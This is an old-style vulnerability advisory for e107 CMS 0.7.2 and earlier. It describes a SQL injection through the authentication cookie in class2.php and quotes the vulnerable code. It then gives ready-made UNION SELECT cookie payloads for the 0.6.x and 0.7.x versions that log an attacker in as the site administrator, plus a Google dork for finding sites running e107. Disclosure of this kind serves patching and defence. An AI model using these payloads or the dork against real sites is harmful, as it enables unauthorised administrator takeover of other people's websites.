e107072.txt

`Software: e107 (CMS)  
  
Versions: <= 0.7.2  
  
Type: SQL-injection  
  
Homepage: www.e107.org  
  
  
  
Description:  
  
----------------------------  
  
SQL-Injection in e107 allows attacker to become a site admininstrator.  
  
  
Requirements:  
  
----------------------------  
  
Magic_quotes_gpc = Off  
  
  
Vulnerability:  
  
----------------------------  
  
Vulnerability has been found in processing the COOKIE.  
COOKIE use for authentification users and administrator.  
Data transfered to this parameter not are filtered.  
  
Code:  
  
----------------------------  
  
class2.php  
.....  
> list($uid, $upw)=($_COOKIE[$pref['cookie_name']] ? explode(".", > $_COOKIE[$pref['cookie_name']]) : explode(".", $_SESSION[$pref['cookie_name']]));  
.....  
  
> if($result = get_user_data($uid, "AND md5(u.user_password)='{$upw}'", FALSE)) {  
.....  
  
  
  
Exploit:  
0.6.xxx  
  
1.blabla_hash_password' union select * from e107_user where user_id=1/*  
  
  
0.7.X  
  
1.blabla_hash_password' union select 1,'admin_d','admin',4,5,6,'some_user@some_hostcom',8,9,10,11,12,'1139995361','1140005365',15,16,17,18,19,20,21,22,23,24,'1',26,27,'0',29,30,31,32,33 /*  
  
Additional Information:  
  
-----------------------  
  
Google dorks: "Powered by e107"  
  
  
Vendor Status  
  
-------------  
  
The vendor is informed!  
  
  
`